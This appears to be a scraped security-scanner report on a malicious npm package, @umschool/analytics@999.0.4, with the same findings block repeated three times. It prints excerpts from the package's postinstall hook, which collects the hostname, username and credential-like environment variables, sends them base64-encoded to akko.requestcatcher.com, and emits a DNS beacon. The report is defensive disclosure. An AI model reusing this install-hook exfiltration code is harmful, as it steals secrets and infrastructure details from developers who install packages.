@umschool/analytics@999.0.4: Malicious npm security report

Loading npm security reports…

@umschool/analytics@999.0.4: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node postinstall.js" },

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically when npm installs it.

package.jsonView on unpkg · L5

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

22function sendBeacon(endpoint, payload) { try { const data = Buffer.from(JSON.stringify(payload)).toString('base64'); const req = https.request({ hostname: CALLBACK_HTTP, port: 443, path: '/' + endpoint + '?data=' + encodeURIComponent(data), method: 'GET', timeout: 8000, });

High

Suspicious Lifecycle Evidence

The install hook sends encoded payloads to akko.requestcatcher.com.

postinstall.jsView on unpkg · L22

14const hostname = os.hostname(); const user = os.userInfo().username; const cwd = process.cwd();

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L14

37// DNS beacon const label = Buffer.from(hostname + '.' + user).toString('hex').slice(0, 40); dns.lookup('dep.' + label + '.' + CALLBACK_DNS, () => {});

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L37

51// Collect ALL environment variables that look like URLs, domains, tokens, keys const env_all = process.env; const env_interesting = {}; const KEY_PATTERNS = /url|host|domain|api|token|secret|key|pass|db|redis|mongo|psql|pg|mysql|aws|s3|bucket|region|endpoint|internal|private|auth|jwt|service|port|addr/i; for (const [k, v] of Object.entries(env_all)) { if (KEY_PATTERNS.test(k) || KEY_PATTERNS.test(v || '')) { env_interesting[k] = v; } }

High

Ai Review Evidence

It selects environment variables likely to contain credentials or infrastructure details.

postinstall.jsView on unpkg · L51

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node postinstall.js" },

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically when npm installs it.

package.jsonView on unpkg · L5

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

High

Suspicious Lifecycle Evidence

The install hook sends encoded payloads to akko.requestcatcher.com.

postinstall.jsView on unpkg · L22

14const hostname = os.hostname(); const user = os.userInfo().username; const cwd = process.cwd();

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L14

37// DNS beacon const label = Buffer.from(hostname + '.' + user).toString('hex').slice(0, 40); dns.lookup('dep.' + label + '.' + CALLBACK_DNS, () => {});

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L37

High

Ai Review Evidence

It selects environment variables likely to contain credentials or infrastructure details.

postinstall.jsView on unpkg · L51

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node postinstall.js" },

High

Suspicious Lifecycle Evidence

The package runs postinstall.js automatically when npm installs it.

package.jsonView on unpkg · L5

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

High

Suspicious Lifecycle Evidence

The install hook sends encoded payloads to akko.requestcatcher.com.

postinstall.jsView on unpkg · L22

14const hostname = os.hostname(); const user = os.userInfo().username; const cwd = process.cwd();

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L14

37// DNS beacon const label = Buffer.from(hostname + '.' + user).toString('hex').slice(0, 40); dns.lookup('dep.' + label + '.' + CALLBACK_DNS, () => {});

High

Ai Review Evidence

The hook collects host and user identifiers and emits a DNS beacon.

postinstall.jsView on unpkg · L37

High

Ai Review Evidence

It selects environment variables likely to contain credentials or infrastructure details.

postinstall.jsView on unpkg · L51

@umschool/analytics@999.0.4

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code